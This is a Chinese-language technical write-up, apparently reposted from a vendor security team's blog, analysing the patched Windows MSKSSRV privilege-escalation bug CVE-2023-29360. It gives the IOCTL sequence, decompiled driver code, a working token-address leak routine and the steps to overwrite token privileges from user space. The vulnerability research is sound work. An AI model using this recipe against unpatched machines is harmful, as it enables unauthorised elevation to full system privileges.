Windwos CVE-2023-29360漏洞的研究与分析

admin 2025年2月12日23:08:37评论7 views字数 9327阅读31分5秒阅读模式

1

漏洞背景

CVE-2023-29360是Pwn2Own 2023温哥华中使用的一个Windows提权漏洞,该漏洞来源于MSKSSRV驱动程序的一个逻辑问题,利用上非常稳定,而且手法简单,是一个较好的Windows入门级内核利用的漏洞。

2

前置知识

尽管漏洞比较简单,但要想写出相应的利用,还需要对Windows相关知识有较深的理解。在这里,被利用的结构为MDL(全称为Memory Descriptor List),用于描述一块虚拟内存对应的物理页布局(因为一块连续的虚拟内存在物理页面上可能并不连续,因此需要有相应的结构来进行描述,也就是MDL)。MDL由一个描述属性的头和一个指针数组构成,其中描述属性的头的结构如下(大小为0x30):

+0x000 Next             : Ptr64 _MDL+0x008 Size             : Int2B+0x00a MdlFlags         : Int2B+0x00c AllocationProcessorNumber : Uint2B+0x00e Reserved         : Uint2B+0x010 Process          : Ptr64 _EPROCESS+0x018 MappedSystemVa   : Ptr64 Void+0x020 StartVa          : Ptr64 Void+0x028 ByteCount        : Uint4B+0x02c ByteOffset       : Uint4B

需要关注的几个成员有:

  • MappedSystemVa:表示最终映射的系统地址

  • StartVA:指定的映射的虚拟地址的页基址

  • ByteOffset:指定的虚拟地址相对于所属页的偏移

  • ByteCount:指定虚拟地址的Buffer的长度

这里MappedSystemVa和StartVA都是描述的地址值。StartVA描述的是首地址,例如虚拟地址0x12345,那么其首地址为0x12000。

在描述属性的头之后,跟着的是一个指针数组,每个指针代表物理页地址。

以实际调试的情况来看:

Windwos CVE-2023-29360漏洞的研究与分析

映射的虚拟地址为0xffff800d1e0586d0,因此 StartVa = 0xffff800d1e058000,ByteOffset = 0x6b0。而映射的长度为0x1000。接下来,将紧跟用于描述物理页地址的指针数组:

Windwos CVE-2023-29360漏洞的研究与分析

这里使用了两个物理页进行映射,因为起始地址0xffff800d1e0586d0+0x1000的地方已经跨页了,因此需要两个物理页。

接下来,查看一下虚拟内核和物理页的中的数据是否相同,以证明是否进行了映射,首先是第一个物理页:

Windwos CVE-2023-29360漏洞的研究与分析
Windwos CVE-2023-29360漏洞的研究与分析

可以看到,内容完全一致。接下来是第二个物理页:

Windwos CVE-2023-29360漏洞的研究与分析

同样内容相同。

3

漏洞成因

漏洞函数位于MSKSSRV驱动程序中的FsAllocAndLockMdl函数,主要负责创建MDL结构并分配和锁定相关的物理页。

__int64 __fastcall FsAllocAndLockMdl(void *vitrualAddress, ULONG length, struct _MDL **output){  unsigned int v4; // edi  struct _MDL *Mdl; // rax  struct _MDL *v6; // rbx  v4 = 0;  if ( vitrualAddress && length && output )  {    Mdl = IoAllocateMdl(vitrualAddress, length, 0, 0, 0LL);    v6 = Mdl;    if ( Mdl )    {      MmProbeAndLockPages(Mdl, 0, IoWriteAccess);  // <---- 漏洞代码:第二个参数为0,表示为KernelMode      *output = v6;    }

IoAllocateMdl用于创建一个MDL结构体,并设置相关的属性,包含前面提到的StartVa,ByteCount,ByteOffset。但此时并未分配相应的物理页。分配的逻辑在函数MmProbeAndLockPages中完成,这里重点关注第二个参数AccessMode,具体有两种模式,KernelMode(0)和UserMode(1),表示虚拟内存地址的位置。由于此处的vitrualAddress是用户传入的地址,因此这里应该使用UserMode,但是实际却使用了KernelMode。使用UserMode和KernelMode在后续会有什么区别吗?主要在nt!MiProbeAndLockPrepare函数中,会对此进行校验:

if ( AccessMode && (EndvirtualAddress> 0x7FFFFFFF0000LL || virtualAddress >= EndvirtualAddress) ) { ++dword_140C4E7F8; return 3221225477LL; }

如果AccessMode为UserMode,则会检查其地址是否超出了其范围。因此,在使用KernelMode时,将不对用户传入的地址进行检查,从而导致用户可以创建能映射任意内核地址的MDL。后续通过MSKSSRV驱动程序的另一条控制消息可以将这个创建的MDL的物理内存直接映射到用户空间进程的内存中,并进行读写,从而完成对任意内核地址的读写。

4

漏洞利用

和MSKSSRV驱动进行通信

为了打开MSKSSRV驱动,并与之进行通信,根据网上的资料,有两种方式可以采用。第一种是使用KsOpenDefaultDevice(ksproxy.h)API,这个API主要用于打开默认的设备句柄,尤其是处理多媒体设备中。打开的方式如下:

DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196",KSNAME_Server);#define KSNAME_ServerDEFINE_GUIDNAMED(KSNAME_Server)KsOpenDefaultDevice(KSNAME_Server,GENERIC_READ | GENERIC_WRITE, &DeviceH1);

第二种方式是通过逆向已知的和MSKSSRV驱动进行通信的服务FrameServer,在FrameService.dll找到相应的调用方式:

result =CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196,0i64, buffer, bufferlen, 0);if ( !result &&*buffer){ handle = CreateFileW(buffer, 0xC0000000, 0,0i64, 3u, 0x80u, 0i64);

本质上KsOpenDefaultDevice内部也是调用了CreateFileW来获取句柄:

Windwos CVE-2023-29360漏洞的研究与分析

其设备路径如下所示:

Windwos CVE-2023-29360漏洞的研究与分析

前置准备

MSKSSRV驱动的消息处理入口是函数SrvDispatchIoControl,根据不同的IoControlCode进入不同的分支:

__int64 __fastcallSrvDispatchIoControl(__int64 deviceObj, IRP *irp){ ioctlcode =irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode; switch(ioctlcode){ case 0x2F0408: RendezvousServerObj = NULL KeWaitForSingleObject(&Mutex,Executive, 0, 0, 0i64); result = FSGetRendezvousServer(&RendezvousServerObj); if ( result >= 0 ) { result =FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTxFSRendezvousServer::Release(RendezvousServerObj); } ... case 0x2F0410: RendezvousServerObj = NULL KeWaitForSingleObject(&Mutex,Executive, 0, 0, 0i64); result =FSGetRendezvousServer(&RendezvousServerObj); if ( result >= 0 ) { result =FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTxFSRendezvousServer::Release(RendezvousServerObj); } ...

这里调用了漏洞函数FsAllocAndLockMdl的是FSRendezvousServer::PublishTx,因此需要先进入该分支以创建一个恶意的MDL。但是要顺利调用到漏洞函数,需要做一些前置操作。

首先,在函数FSGetRendezvousServer中,访问了全局变量,要求其已经初始化:

__int64 __fastcallFSGetRendezvousServer(struct FSRendezvousServer **a1){ volatile signed __int32 *v1; // rax unsigned int v2; // ebx v1 = (volatile signed __int32*)qword_1C0004010; v2 = 0; if ( qword_1C0004010 ) { *a1 = qword_1C0004010; _InterlockedIncrement(v1); } else { v2 = -1073741808; }

查看其交叉引用,可知其在函数FSInitializeContextRendezvous中被初始化,对应的IoControlCode为0x2f0400。

第二个限制来自于函数查找对象FsContext2:

Object =FSRendezvousServer::FindObject(this, (const struct FSRegObject *)FsContext2); KeReleaseMutex((PRKMUTEX)((char *)this + 8),0); if ( Object ) { (*(void (__fastcall **)(PVOID))(*(_QWORD*)FsContext2 + 40LL))(FsContext2); v5 = FSStreamReg::PublishTx((struct _KEVENT**)FsContext2, (struct FSFrameInfo *)MasterIrp);

只有当查找成功时,才会进入FSStreamReg::PublishTx。同时,在函数FSStreamReg::PublishTx中还有一个检查FSStreamReg::CheckRecycle,这里就需要调用FSRendezvousServer::InitializeStream来执行相应的的初始化和插入逻辑:

v8 = operator new(0x1B8uLL, (enum_POOL_TYPE)a2, 0x67657253u); v5 = v8; .... v10 = FSStreamReg::Initialize((FSStreamReg*)v5, v9, (const struct _FSStreamRegInfo *)MasterIrp, a2->RequestorMode); .... FSRegObjectList::InsertTail((FSRendezvousServer*)((char *)this + 64), (struct FSRegObject *)v5);CurrentStackLocation->FileObject->FsContext2 = v5;

在FSStreamReg::Initialize,执行相应的初始化:

*((_DWORD *)this + 106) = *((_DWORD *)a3+ 8) << 10;  // 绕过相应的检查 *((_DWORD *)this + 108) = *((_DWORD *)a3+ 7); *((_DWORD *)this + 34) = 1; *((_QWORD *)this + 18) = *((_QWORD *)a3 +1); *((_QWORD *)this + 19) = *((_QWORD *)a3 +2); *((_DWORD *)this + 40) = *((_DWORD *)a3 +6); *((_DWORD *)this + 41) = *((_DWORD *)a3 +7); *((_QWORD *)this + 22) = 0LL; *((_DWORD *)this + 10) = 1;

但需要注意,对于同一个handle,无法同时执行FSInitializeContextRendezvous和FSRendezvousServer::InitializeStream,原因是在FSInitializeContextRendezvous中同样会对CurrentStackLocation->FileObject->FsContext2进行赋值(在函数FSRendezvousServer::InitializeContext中):

FSRegObjectList::InsertTail((FSRendezvousServer *)((char *)this + 112),(struct FSRegObject *)v3);CurrentStackLocation->FileObject->FsContext2 = (PVOID)v3;

从而导致FSRendezvousServer::InitializeStream中的检查失败:

CurrentStackLocation =a2->Tail.Overlay.CurrentStackLocation; v5 = 0LL; v6 = 0; if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart!= 3081220 ||CurrentStackLocation->FileObject->FsContext2 ) { v10 = 0xC0000010; }

泄露Token地址

在Windows中有一个未公开的接口NtQuerySystemInformation可以直接用来泄露Token的内核地址,这似乎是一项比较常用且久远的技术了,因此相关的泄露代码也非常的通用:

uint64_tGetTokenAddress(){ NTSTATUS status; HANDLE currentProcess =GetCurrentProcess(); HANDLE currentToken = NULL; uint64_t tokenAddress = 0; ULONG ulBytes = 0; PSYSTEM_HANDLE_INFORMATION handleTableInfo= NULL; BOOL success =OpenProcessToken(currentProcess, TOKEN_QUERY, &currentToken); if (!success) { wprintf(L"[!] Couldn't open ahandle to the current process token. (Error code: %d)n", GetLastError()); return 0; } // Allocate space in the heap for thehandle table information which will be filled by the call to'NtQuerySystemInformation' API while ((status =NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes,&ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) { if (handleTableInfo != NULL) { handleTableInfo =(PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,handleTableInfo, 2 * ulBytes); } else { handleTableInfo =(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 *ulBytes); } } if (status == 0) { // iterate over the system's handletable and look for the handles beloging to our process for (ULONG i = 0; i <handleTableInfo->NumberOfHandles; i++) { // if it finds our process and thehandle matches the current token handle we already opened, print it if(handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()&& handleTableInfo->Handles[i].HandleValue == (USHORT)currentToken) { tokenAddress = (uint64_t)handleTableInfo->Handles[i].Object; break; } } } else { if (handleTableInfo != NULL) { wprintf(L"[!]NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)n", status); HeapFree(GetProcessHeap(), 0,handleTableInfo); CloseHandle(currentToken); return 0; } } HeapFree(GetProcessHeap(), 0,handleTableInfo); CloseHandle(currentToken); return tokenAddress;}

对于泄露出来的进程的Token地址,我们的目标是修改其偏移为0x40(_SEP_TOKEN_PRIVILEGES)处的内容。这是一个由3个8字节的位图组成的结构:

kd> dt_SEP_TOKEN_PRIVILEGESnt!_SEP_TOKEN_PRIVILEGES+0x000 Present : Uint8B+0x008 Enabled : Uint8B+0x010 EnabledByDefault: Uint8B

分别代表当前的主体可以选用的特权集合(Present)、已经打开的特权集合(Enabled)和默认打开的特权集合(EnabledByDefault),后两个集合应该是Present集合的子集。Windows运行过程中,实际上是检查了`Enabled`这个位置的特权。换句话说,如果这个位置的特权都打开了,那么当前进程将会获得所有类型的特权。

构造虚拟地址为Token  Privileges的MDL

通过调用FSRendezvousServer::PublishTx,构造针对Token Privileges的MDL。

Windwos CVE-2023-29360漏洞的研究与分析
Windwos CVE-2023-29360漏洞的研究与分析

调用IoAllocateMdl时,使用Token  Privileges的地址作为参数,可以看到此时权限较少。

MDL创建完毕后,可以看到其映射的虚拟地址为Token  Privileges:

Windwos CVE-2023-29360漏洞的研究与分析

映射MDL到用户空间以执行任意写操作

MSKSSRV驱动程序还提供了一个操作接口用于将MDL结构映射到用户态进程地址空间,此时相当于一处物理页被同时映射到两个虚拟内存中。实现这个操作的函数是FSRendezvousServer::ConsumeTx,其IoControlCode为0x2F0410。该函数内部调用了MmMapLockedPagesSpecifyCache(https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmaplockedpagesspecifycache),将 MDL 描述的物理页面映射到虚拟地址:

PVOIDMmMapLockedPagesSpecifyCache( [in]          PMDL                                                                         MemoryDescriptorList, [in]          __drv_strictType(KPROCESSOR_MODE / enum_MODE,__drv_typeConst)KPROCESSOR_MODE AccessMode, [in]          __drv_strictTypeMatch(__drv_typeCond)MEMORY_CACHING_TYPE                      CacheType, [in, optional] PVOID                                                                        RequestedAddress, [in]          ULONG                                                                         BugCheckOnFailure, [in]          ULONG                                                                        Priority);

其中当指定AccessMode为UserMode(1)时,将返回一个用户态的虚拟地址,而正好,MSKSSRV驱动程序中调用时使用的参数就是UserMode,同时会将该地址返回给用户:

__int64 __fastcallFsMapLockedPages(struct _MDL *a1, ULONG Priority, PVOID *a3){ unsigned int v3; // ebx v3 = 0; if ( a1 && a3 ) { *a3 = 0LL; *a3 = MmMapLockedPagesSpecifyCache(a1, 1,MmCached, 0LL, 0, Priority); }

不过,在调用该函数前,需要先调用FSRendezvousServer::RegisterStream。

Windwos CVE-2023-29360漏洞的研究与分析

这里在调用完MmMapLockedPagesSpecifyCache函数后,返回了用户态的地址1c06f0,接下来就可以在这个地址上进行任意写,从而实现对Token  Privileges的修改。

Windwos CVE-2023-29360漏洞的研究与分析

修改后将所有权限对应的bit置为1,此时再查看权限,可以发现已经获取了所有的权限:

Windwos CVE-2023-29360漏洞的研究与分析

5

总结

CVE-2023-29360是MSKSSRV驱动程序中的一个逻辑漏洞,能够稳定的实现对任意地址的写操作。当然,为了实现提权,还要结合一个能泄露内核地址的能力。在利用上,其原理非常简单清晰,但难点在于如何调用到相应的漏洞函数,包括多个前置函数的调用以及相应的参数设置。目前该漏洞厂商已经发布安全公告并修复:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360

6

参考链接

https://github.com/Nero22k/cve-2023-29360

原文始发于微信公众号(华为安全应急响应中心):Windwos CVE-2023-29360漏洞的研究与分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日23:08:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windwos CVE-2023-29360漏洞的研究与分析https://cn-sec.com/archives/3640858.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息